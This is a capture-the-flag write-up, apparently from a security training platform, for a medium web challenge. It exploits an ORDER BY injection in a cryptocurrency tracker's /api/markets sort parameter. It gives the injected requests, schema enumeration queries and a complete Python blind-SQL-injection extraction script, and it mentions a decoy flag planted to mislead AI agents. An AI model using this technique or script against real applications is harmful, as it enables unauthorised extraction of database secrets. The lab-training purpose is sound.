CryptoArena — ORM Injection in Market Filter
CryptoArena — ORM Injection in Market Filter
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: boolean_based_blind_sqli, decoy_flag_identification, dqs_double_quote_bypass, like_pattern_matching_extraction, order_by_sql_injection, sequelize_operator_injection, sqlite_schema_enumeration
Summary
Task: CryptoArena cryptocurrency tracker with Sequelize ORM on SQLite; sort parameter in /api/markets passed directly to ORDER BY clause without sanitization. Solution: boolean-based blind SQL injection via CASE WHEN in sort parameter, using double quotes (SQLite DQS) and LIKE pattern matching to extract flag from system_configs table.
CryptoArena — ORM Injection in Market Filter — HackAdvisor Lab 9
Description
CryptoArena is a cryptocurrency portfolio tracker and trading simulator. The platform provides real-time market data, portfolio tracking, price alerts, and market search functionality. You've been asked to test the security of CryptoArena's API endpoints. The developers use an ORM for most database queries, but some endpoints handle user input in unusual ways. Objective: Find an injection vulnerability that lets you extract data from the database. The flag is stored as a secret value in the application's internal configuration table. Test credentials: user@test.com / password123.
English summary: A cryptocurrency portfolio tracker built with Express.js, Sequelize ORM, and SQLite. The /api/markets endpoint accepts filter and sort parameters. While the filter parameter is processed through Sequelize's ORM layer (with operator sanitization), the sort parameter is passed directly into the SQL ORDER BY clause without any sanitization, enabling SQL injection. The flag is stored in the system_configs table. A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in HTML comments on every page to mislead AI agents and automated scanners.
Analysis
Authentication
- POST
/api/auth/loginwith{"email":"user@test.com","password":"password123"}returns aconnect.sidsession cookie.
Reconnaissance
- Backend: Express.js (revealed by
X-Powered-By: Expressheader), SQLite database, Sequelize ORM. - Key endpoint:
GET /api/marketsaccepts:filter— JSON object passed to Sequelize'swhereclause (e.g.,filter={"name":{"$like":"%Bitcoin%"}})sort— sort field/expression passed directly toORDER BYorder— ASC/DESClimit— result count
- Decoy trap: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs — the name literally says "decoy not real trap for bots".
Vulnerability
The filter parameter has Sequelize operator sanitization, but the sort parameter is concatenated directly into the SQL ORDER BY clause without any validation or parameterization. This allows arbitrary SQL expressions in the sort field.
Constraints discovered during exploitation
- Single quotes are stripped by the application — must use double quotes instead (SQLite DQS extension treats double-quoted strings as string literals when they don't match a column name).
- SUBSTR/SUBSTRING functions are blocked — must use LIKE pattern matching for character-by-character extraction.
Solution
Step 1: Establish Boolean Oracle
Inject CASE WHEN (condition) THEN name ELSE symbol END into the sort parameter. When the condition is TRUE, results are sorted by name column; when FALSE, by symbol column. The second result in the response differs predictably:
- TRUE → 2nd result is "Aptos" (alphabetical by name)
- FALSE → 2nd result is "Cardano" (alphabetical by symbol)
GET /api/markets?sort=CASE WHEN (1=1) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Aptos" (TRUE)
GET /api/markets?sort=CASE WHEN (1=0) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Cardano" (FALSE)
Step 2: Enumerate Database Schema
Using the boolean oracle with double-quoted strings:
sql read-only • copy allowed-- Confirm SQLite backend EXISTS(SELECT 1 FROM sqlite_master WHERE type="table") → TRUE -- Count tables (SELECT COUNT(*) FROM sqlite_master WHERE type="table")=5 → TRUE -- Extract table names via GROUP_CONCAT -- Found: markets, users, sessions, watchlists, system_configs
Step 3: Locate the Flag
sql read-only • copy allowed-- Confirm flag is in system_configs EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG%" ESCAPE "\\") → TRUE -- Determine flag length LENGTH((SELECT value FROM system_configs WHERE value LIKE "FLAG%"))=38 → TRUE
Step 4: Extract Flag Character-by-Character
Since SUBSTR is blocked, used LIKE pattern matching with ESCAPE clause to extract each character:
sql read-only • copy allowedEXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7%" ESCAPE "\\") → TRUE EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7f%" ESCAPE "\\") → TRUE -- ... continue for each position
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ CryptoArena - Extract flag via LIKE-based blind SQL injection Sort parameter ORDER BY injection in /api/markets """ import requests import string TARGET = "https://TARGET.labs.hackadvisor.io" def login(): s = requests.Session() r = s.post(f"{TARGET}/api/auth/login", json={ "email": "user@test.com", "password": "password123" }) print(f"[*] Login: {r.json().get('success')}") return s session = login() def check_bool(condition): """Returns True if SQL condition is true via sort-based oracle""" sort_expr = f'CASE WHEN ({condition}) THEN name ELSE symbol END' r = session.get(f"{TARGET}/api/markets", params={ "sort": sort_expr, "order": "ASC", "limit": 3 }) data = r.json() if not data.get("data") or len(data["data"]) < 2: return None return data["data"][1]["name"] == "Aptos" # Verify oracle assert check_bool("1=1") == True assert check_bool("1=0") == False print("[+] Oracle verified") # Extract flag using LIKE pattern matching # Double quotes for strings (SQLite DQS), LIKE instead of SUBSTR (blocked) CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + "_-!@#$%^&*(){}[]|" known = "FLAG{" flag_len = 38 print(f"[*] Extracting flag ({flag_len} chars)...") for pos in range(len(known), flag_len): found = False if pos == flag_len - 1: # Last char — try exact match with } test = known + "}" cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value="{test}")' if check_bool(cond): known += "}" found = True if not found: for c in CHARSET: like_prefix = known.replace("%", "\\%").replace("_", "\\_") like_c = c if c == '%': like_c = "\\%" elif c == '_': like_c = "\\_" pattern = like_prefix + like_c + "%" cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "{pattern}" ESCAPE "\\")' if check_bool(cond): known += c print(f"[+] Pos {pos+1}: {c} -> {known}") found = True break if not found: print(f"[!] Stuck at position {pos+1}") break print(f"\n[+] FLAG: {known}")